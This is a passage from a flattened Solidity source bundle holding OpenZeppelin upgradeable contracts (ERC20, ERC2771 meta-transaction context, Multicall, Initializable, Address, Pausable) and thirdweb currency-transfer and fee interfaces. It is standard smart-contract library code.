* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
/**
* @dev The hash of the name parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
/**
* @dev The hash of the version parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (metatx/ERC2771Context.sol)
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
/**
* @dev Context variant with ERC2771 support.
*/
abstract contract ERC2771ContextUpgradeable is Initializable, ContextUpgradeable {
mapping(address => bool) private _trustedForwarder;
function __ERC2771Context_init(address[] memory trustedForwarder) internal onlyInitializing {
__Context_init_unchained();
__ERC2771Context_init_unchained(trustedForwarder);
}
function __ERC2771Context_init_unchained(address[] memory trustedForwarder) internal onlyInitializing {
for (uint256 i = 0; i < trustedForwarder.length; i++) {
_trustedForwarder[trustedForwarder[i]] = true;
}
}
function isTrustedForwarder(address forwarder) public view virtual returns (bool) {
return _trustedForwarder[forwarder];
}
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
// The assembly code is more direct than the Solidity version using `abi.decode`.
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
} else {
return super._msgSender();
}
}
function _msgData() internal view virtual override returns (bytes calldata) {
if (isTrustedForwarder(msg.sender)) {
return msg.data[:msg.data.length - 20];
} else {
return super._msgData();
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Multicall.sol)
pragma solidity ^0.8.0;
import "./AddressUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides a function to batch together multiple calls in a single external call.
*
* _Available since v4.1._
*/
abstract contract MulticallUpgradeable is Initializable {
function __Multicall_init() internal onlyInitializing {
}
function __Multicall_init_unchained() internal onlyInitializing {
}
/**
* @dev Receives and executes a batch of function calls on this contract.
*/
function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = _functionDelegateCall(address(this), data[i]);
}
return results;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
// Helper interfaces
import { IWETH } from "../interfaces/IWETH.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
library CurrencyTransferLib {
/// @dev The address interpreted as native token of the chain.
address public constant NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/// @dev Transfers a given amount of currency.
function transferCurrency(
address _currency,
address _from,
address _to,
uint256 _amount
) internal {
if (_amount == 0) {
return;
}
if (_currency == NATIVE_TOKEN) {
safeTransferNativeToken(_to, _amount);
} else {
safeTransferERC20(_currency, _from, _to, _amount);
}
}
/// @dev Transfers a given amount of currency. (With native token wrapping)
function transferCurrencyWithWrapperAndBalanceCheck(
address _currency,
address _from,
address _to,
uint256 _amount,
address _nativeTokenWrapper
) internal {
if (_amount == 0) {
return;
}
if (_currency == NATIVE_TOKEN) {
if (_from == address(this)) {
// withdraw from weth then transfer withdrawn native token to recipient
IWETH(_nativeTokenWrapper).withdraw(_amount);
safeTransferNativeTokenWithWrapper(_to, _amount, _nativeTokenWrapper);
} else if (_to == address(this)) {
// store native currency in weth
require(_amount == msg.value, "msg.value != amount");
IWETH(_nativeTokenWrapper).deposit{ value: _amount }();
} else {
safeTransferNativeTokenWithWrapper(_to, _amount, _nativeTokenWrapper);
}
} else {
safeTransferERC20WithBalanceCheck(_currency, _from, _to, _amount);
}
}
/// @dev Transfer `amount` of ERC20 token from `from` to `to`.
function safeTransferERC20(
address _currency,
address _from,
address _to,
uint256 _amount
) internal {
if (_from == _to) {
return;
}
bool success = _from == address(this)
? IERC20Upgradeable(_currency).transfer(_to, _amount)
: IERC20Upgradeable(_currency).transferFrom(_from, _to, _amount);
require(success, "currency transfer failed.");
}
/// @dev Transfer `amount` of ERC20 token from `from` to `to`.
function safeTransferERC20WithBalanceCheck(
address _currency,
address _from,
address _to,
uint256 _amount
) internal {
if (_from == _to) {
return;
}
uint256 balBefore = IERC20Upgradeable(_currency).balanceOf(_to);
bool success = _from == address(this)
? IERC20Upgradeable(_currency).transfer(_to, _amount)
: IERC20Upgradeable(_currency).transferFrom(_from, _to, _amount);
uint256 balAfter = IERC20Upgradeable(_currency).balanceOf(_to);
require(success && (balAfter == balBefore + _amount), "currency transfer failed.");
}
/// @dev Transfers `amount` of native token to `to`.
function safeTransferNativeToken(address to, uint256 value) internal {
// solhint-disable avoid-low-level-calls
// slither-disable-next-line low-level-calls
(bool success, ) = to.call{ value: value }("");
require(success, "native token transfer failed");
}
/// @dev Transfers `amount` of native token to `to`. (With native token wrapping)
function safeTransferNativeTokenWithWrapper(
address to,
uint256 value,
address _nativeTokenWrapper
) internal {
// solhint-disable avoid-low-level-calls
// slither-disable-next-line low-level-calls
(bool success, ) = to.call{ value: value }("");
if (!success) {
IWETH(_nativeTokenWrapper).deposit{ value: value }();
require(IERC20Upgradeable(_nativeTokenWrapper).transfer(to, value), "transfer failed");
}
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
library FeeType {
uint256 internal constant PRIMARY_SALE = 0;
uint256 internal constant MARKET_SALE = 1;
uint256 internal constant SPLIT = 2;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface ITWFee {
function getFeeInfo(address _proxy, uint256 _type) external view returns (address recipient, uint256 bps);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface IThirdwebContract {
/// @dev Returns the module type of the contract.
function contractType() external pure returns (bytes32);
/// @dev Returns the version of the contract.
function contractVersion() external pure returns (uint8);
/// @dev Returns the metadata URI of the contract.
function contractURI() external view returns (string memory);
/**
* @dev Sets contract URI for the storefront-level metadata of the contract.
* Only module admin can call this function.
*/
function setContractURI(string calldata _uri) external;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface IThirdwebPlatformFee {
/// @dev Returns the platform fee bps and recipient.
function getPlatformFeeInfo() external view returns (address platformFeeRecipient, uint16 platformFeeBps);
/// @dev Lets a module admin update the fees on primary sales.
function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface IThirdwebPrimarySale {
/// @dev The adress that receives all primary sales value.
function primarySaleRecipient() external view returns (address);
/// @dev Lets a module admin set the default recipient of all primary sales.
function setPrimarySaleRecipient(address _saleRecipient) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
pragma solidity ^0.8.0;
import "./draft-IERC20PermitUpgradeable.sol";
import "../ERC20Upgradeable.sol";
import "../../../utils/cryptography/draft-EIP712Upgradeable.sol";
import "../../../utils/cryptography/ECDSAUpgradeable.sol";
import "../../../utils/CountersUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
